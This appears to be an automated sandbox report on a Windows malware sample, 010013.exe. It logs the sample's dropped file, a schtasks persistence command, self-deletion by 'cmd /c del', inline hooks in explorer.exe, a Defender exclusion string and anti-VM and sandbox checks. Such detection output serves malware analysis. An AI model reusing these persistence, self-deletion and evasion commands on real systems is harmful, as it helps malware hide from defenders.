Source: 0.2.010013.exe.4c0000.0.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.010013.exe.4c0000.0.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 6.2.010013.exe.460000.1.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 6.0.010013.exe.460000.0.unpack, Brightness.cs	.Net Code: ExceptionFromErrorCode System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_0772D665 push FFFFFF8Bh; iretd
Source: C:\Users\user\Desktop\010013.exe	Code function: 0_2_07724D58 push ds; retf
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00417D24 push ecx; ret
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00417603 push ss; ret
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_00403632 pushfd ; ret
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CEF2 push eax; ret
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CEFB push eax; ret
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CEA5 push eax; ret
Source: C:\Users\user\Desktop\010013.exe	Code function: 6_2_0041CF5C push eax; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0342D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D7D24 push ecx; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCEA5 push eax; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCEFB push eax; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCEF2 push eax; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008D7603 push ss; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008C3632 pushfd ; ret
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_008DCF5C push eax; ret

Source: initial sample	Static PE information: section name: .text entropy: 7.61582081487
Source: initial sample	Static PE information: section name: .text entropy: 7.61582081487

Source: C:\Users\user\Desktop\010013.exe

File created: C:\Users\user\AppData\Roaming\ELqDlkdxF.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\010013.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x89 0x9E 0xEF

Self deletion via cmd delete

Show sources

Source: C:\Windows\SysWOW64\netsh.exe	Process created: /c del 'C:\Users\user\Desktop\010013.exe'
Source: C:\Windows\SysWOW64\netsh.exe	Process created: /c del 'C:\Users\user\Desktop\010013.exe'

Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\010013.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 0.2.010013.exe.2912ec4.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.010013.exe.293e91c.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 010013.exe PID: 1568, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\010013.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\010013.exe	RDTSC instruction interceptor: First address: 0000000000409B4E second address: 0000000000409B54 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 00000000008C98E4 second address: 00000000008C98EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 00000000008C9B4E second address: 00000000008C9B54 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\010013.exe TID: 5040	Thread sleep time: -30497s >= -30000s
Source: C:\Users\user\Desktop\010013.exe TID: 1748	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 4768	Thread sleep time: -34000s >= -30000s
Source: C:\Windows\SysWOW64\netsh.exe TID: 3600	Thread sleep time: -45000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\010013.exe

Code function: 6_2_00409A80 rdtsc

Source: C:\Users\user\Desktop\010013.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\010013.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\010013.exe	Thread delayed: delay time: 30497
Source: C:\Users\user\Desktop\010013.exe	Thread delayed: delay time: 922337203685477

Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA IIBAdd-MpPreference -ExclusionPath "
Source: explorer.exe, 00000007.00000000.723502092.000000000A897000.00000004.00000001.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000007.00000000.754874591.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000007.00000000.732616812.0000000004791000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}J
Source: explorer.exe, 00000007.00000000.734514267.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.754874591.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAa
Source: explorer.exe, 00000007.00000000.717605287.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000007.00000000.755370394.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: 010013.exe, 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\010013.exe

Code function: 6_2_00409A80 rdtsc

Source: C:\Users\user\Desktop\010013.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\netsh.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FF716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03403B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03403B7A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0349131B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DDB60 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EFF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DF358 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DDB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EEF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034003E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E8794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E1B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034137F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0349138A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348D380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03457794 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03464257 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DE620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F3A1C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348B260 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8A62 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DAA16 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E8A0A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0341927A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03408E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9240 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03418EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0348FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034036CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033EAAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D52A5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034016E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0346FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340D294 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E76E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034546A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A0EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340FAB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03413D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03453540 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033E3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DAD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F4120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D9100 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FC577 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DB171 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033DC962 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033F7D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0345A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340513A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FB944 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03404D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03404D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03404D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034A8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_034641E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033D2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_03488DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_033FC182 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 10_2_0340A185 mov eax, dword ptr fs:[00000030h]
